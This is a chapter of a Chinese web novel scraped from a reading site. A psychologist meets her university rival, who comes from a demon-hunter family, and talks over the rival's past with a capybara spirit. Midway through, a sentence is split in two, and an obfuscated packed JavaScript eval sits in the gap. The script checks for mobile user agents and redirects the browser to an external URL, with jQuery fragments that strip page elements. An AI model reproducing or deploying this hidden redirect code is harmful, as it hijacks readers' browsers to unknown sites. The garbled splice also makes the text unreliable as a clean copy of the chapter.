默认冷灰
24号文字
方正启体

5. 他们是前任关系

作者:青灯冷火本书字数:K更新时间:
    段琅然不愿意回忆自己大学时候的经历。


    那段过往对别人来说也许是她的光辉事迹,但对她自己来说,那是她不堪回首的过往。


    “我们竟然会在这种地方见面。”


    眼前的女人脸上情绪相当收敛,她默默的把墨镜折起来,收进手提包里。


    一别数年,当年的不愉快仍然历历在目。段琅然这时候如果说想念她们大学时候美好的时光,听上去实在虚伪。


    但此刻第一个浮现在段琅然心里的念头,竟然是她有些想念杨弋了。


    比起那些她们相处时的美好,段琅然更加怀念的是她们能够平等的成为对手的那些日子。


    “又见面了,杨弋。”


    “抱歉,这一次事关我的侄子。公事还是要公办,至于我们的私事。等这件事结束了再说吧。”


    其实在段琅然看见他那张脸的时候,就早已没了心情去谈论有关赔偿的事情。只要杨弋站在这里,段琅然就明白,她注定是要输掉的。


    不管是十几岁的当时还是二十几岁的现在。


    “他是你的侄子?”


    “是,算是吧。我姓杨,他姓梁,因为我和我哥是重组家庭的兄妹。我们......其实并没有血缘关系。”


    段琅然松了一口气。


    原本她还是担心,能被患者家属那样不讲理的人摇过来的救兵,估计也不是个听得懂人话的。后来她看到了杨弋,甚至以为杨弋也变成了那样的人。


    她害怕和杨弋成为对手是真的,但杨弋过了这么多年没有变,这是段琅然感到很欣慰的事。


    她们的交谈没有产生太多的冲突。杨弋讲道理、懂法律,不会提出很过分的要求,也方便后续走法律程序。


    但杨弋的出现就像是一个导火索。


    那天晚上她的梦里反复的出现当年的情景,看见杨弋站在高高的领奖台上,像是今天见面时那样,露出礼貌疏离、又带着一点得意的神情。


    她忽然惊醒,看见床帘底下钻出来了外面的光。竟然已经天亮了。


    一大早的,段琅然就憋不住事,赶紧打了电话给程知乐,告诉他杨弋回国了。


    那一头程知乐原本还迷迷糊糊的,被段琅然一句话吓得完全清醒。


    “你没看错吧?”


    “她就坐在我面前,和我就隔着一张桌子。”


    段琅然知道这个消息对于程知乐而言也是爆炸性的,毕竟杨弋对于段琅然来说,只是前同学兼前竞争对手,而对于程知乐而言,那可是他的前女友。


    电话挂断之后,段琅然的脸上浮现了一抹得逞的笑容,被早早起来的程小满看见了。


    换做旁人,都会以为段琅然笑是在高兴自己的朋友要和纠缠多年的真爱重逢。


    但很可惜,那是程小满,他的妖精能力能让他看透人所有的情绪。


    “告诉程知乐,那个女人不会再跟你起冲突了。你在幸灾乐祸是吗?”


    “小兔崽子,人家有名字,她叫杨弋,什么叫那个女人,说出来多难听。”


    段琅然的心情看起来不错,也没有突然暴起,追究程小满乱说话。


    程小满倒是严谨得很:“我不是兔崽子。”


    “水豚崽子,水豚崽子行了吧?一共也就五岁,我不教你崽子,我难道叫你老爷子吗?”


    程小满一张水豚脸垮下来:“我是只有五年记忆,我又不是只活了五年。”


    “行行行,老爷子,老前辈,你活了五百岁。”


    段琅然的高兴情绪根本藏不住。


    她抱起程小满:“我要好好跟你说说,他们俩当年发生了什么事。”


    程小满对八卦向来保持一个不主动追求,但是来者不拒的态度。他从段琅然身上跑下去。去客厅里抓了一把菜叶子,抱在怀里又跑回来。


    相当于人类把瓜子和小啤酒都准备好了,就等着吃大瓜。


    程小满拍了拍段琅然的手:“你说吧。”


    “当年啊程知乐这个家伙,他是看上人家姑娘长得好看,冒冒失失地就去追求了。我当时就说,人家姑娘未必能看得上你。当时杨毅他和我是一个专业的,程知乐不是啊,他的专业在当时看来是略站在歧视链下端的。他本人呢,学术上也没有什么特别的造诣,顶多也就是有一张脸,家里稍微有点钱。”


    其实他这个条件放在婚恋市场上还是相当吃香的,高富帅,富二代。但是放在杨弋面前那就没得看了。


    杨弋她家里也有钱,她本人长得也好看。那她为什么要跟程知乐这种草包在一起?


    “可是,”段琅然故作神秘的顿了顿,“杨弋经不住程知乐的死缠烂打,就也冒冒失失地答应了。”


    “这一答应可好了,没过多久,程知乐他那个前女友找上门了。”


    程知乐年轻时候不说遍地留情,也是相当风流,前女友的数量两只手数不过来。段琅然现在依然不能理解,为什么当年的杨弋会跟他在一起,还口口声声说自己是真的喜欢程知乐。


    “你说这事巧不巧?按理说那个前女友是主动甩了程知乐的,可是好巧不巧,她知道程知乐谈了个好的,就心里不平衡了,想方设法要拆散他们这对。这可不是我造谣啊,这是她后来亲口承认的。”


    程小满忽然想起一件事情:“她是不是就是你那天说的,那个捉妖师啊、”


    段琅然从分享大瓜的喜悦心情中猛地醒悟:“对哦,还有这回事,差点忘了。”


    “你这么一说,我确实想起当年有一些事情很奇怪。”


    “当年那个前女友找上门,非说自己肚子里的孩子是程知乐的,还把孕检报告单明晃晃的几乎要拍在杨毅的脸上挑衅她。结果没过多久,这个女的就被捉奸在床,她是和我们学院的教授苟且,被教授的老婆亲眼看见。”


    “所以那个孩子其实是教授的吗?”


    “我又不是她肚子里的孩子,我怎么知道?我只记得那女人来闹的时候,她肚子并不大。但程知乐那个时候已经跟他分手了超过四个月了。如果真的是程知乐的,早该显怀了。”


    以段琅然对程知乐的了解,他做不出那种被人分手了还要吃回头草,跟人家再来一炮的事情。


    程知乐是坦荡的,但是杨弋又是怎么笃定程知乐是清白的呢?


    “她是捉妖师......”


    “你是怀疑,她其实早就知道那个女人在外面和教授一块,甚至有可能是她把此事告诉教授的老婆的?”


    “只是猜测。”


    “你不光猜测了这个,你还猜测她是用了什么特别的法术,对吧?”


    被戳破心思,程小满略显心虚。


    他知道自己的记忆一定和段琅然有关系,所以对于和段琅然有过较为亲密关系的人,他自然也想了解,也想调查。


    只是如今困在水豚的身体里,诸多行动都不方便。他的妖力也很弱,许多法术他记得,却没办法施展出来,不知道要怎


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540028|203913||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    样才能恢复。


    “段医生,你后面还会去见他吗?”


    段琅然看了看程小满:“你想见她?她身上,是不是有什么你想找的东西?”


    程小满毫不避讳:“是。我要找回我的记忆。她是捉妖师,和妖精有关。她又和你曾经相熟,而你身上,明确有我记忆的碎片。我有理由相信,我的记忆可能和她有关系。”


    “那不如就去会会他吧,也很多年没见了。”


    段琅然放下程小满,站起身,意味深长地说:“我不知道他现在变成了什么样的人。我也很想知道当年他为什么离开。又为什么,我们会变成那种关系。”


    还没等到段琅然私下约见,患者葬礼的邀请先来了。


    不是患者的父母递来的邀请,是杨弋递来的,身份是......患者的朋友?


    “朋友也算不上吧,只是诊治时间久一点的医患关系。不过杨弋这是......也想见见我的意思?”


    梁铮是段琅然接手时间相对长的一个患者。比起其他患者,这样长期频繁的进行心理咨询,很多人都能够从过去的创伤中走出来,病能够好个大半。


    段琅然始终觉得,梁铮是在运气上差了一些。明明快要见到光明,突然又被拉回了那个黑暗的牢笼。


    这场葬礼却推翻了她的猜想。


    她在葬礼上亲眼见到梁铮母亲把一个东西钉在梁铮的棺材板上。是一个金属制品,泛着亮黄的光泽。


    程小满眼睛非常尖,即便只是缩小身形躲在段琅然的口袋里,还是一眼看清了那个东西。


    “那是捉妖师家族的代表。”


    “你说谁是捉妖师?梁铮吗?”段琅然顿时产生了警惕。


    对啊,杨弋出生于捉妖师家族,那么他同父异母的哥哥和侄子,是否也继承了这种家学呢?


    梁铮曾经说过,在他很小的时候,有一段时间被家人关在一间光线不好的幽暗屋子里。没有虐待他,吃喝都照常给,甚至比平时更加丰盛,但要求他专心读一本书。那本书很怪,当时他没有看懂。


    后来过了一两个月,有陌生人进了那个房间,问了梁铮几个奇怪的问题,又上下查看他的身体状况,摇摇头走了,梁铮也就此重获自由。


    只是自那以后,周围的亲戚看她的眼神都与此前不同。他们对他态度很轻蔑,时常对他说的话置之不理,把时间几乎全都留给了他年幼的妹妹。哪怕后来梁铮考上了一个好的学校,那种轻蔑也没有减少半分。


    当时段琅然没有想明白这段经历意味着什么,甚至怀疑那是梁铮的幻觉症状给自己编造的虚假记忆。如今想来,此事确实有几分蹊跷。


    这像是捉妖师家族在对继承人进行某种......筛选?


    段琅然正在思考,忽然手机响了一声,她收到了程知乐发来的消息。


    【你怎么去杨弋侄子的葬礼了?】


    段琅然发去三个问号。


    【你跟他到底见了几次?】


    段琅然无语。


    【她侄子是我之前经手的患者,所以才邀请我去的,有什么问题吗?】


    程知乐那边保持了很久的“对方正在输入......”。


    输入了很久,他最终一个字都没说。


    段琅然合上手机,骂骂咧咧地说:“真奇怪啊这人。他自己怕他前女友,不敢去见他前女友,现在还不允许我见了。我连杨弋侄子的葬礼都不能去了。他这人是不是有病啊?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)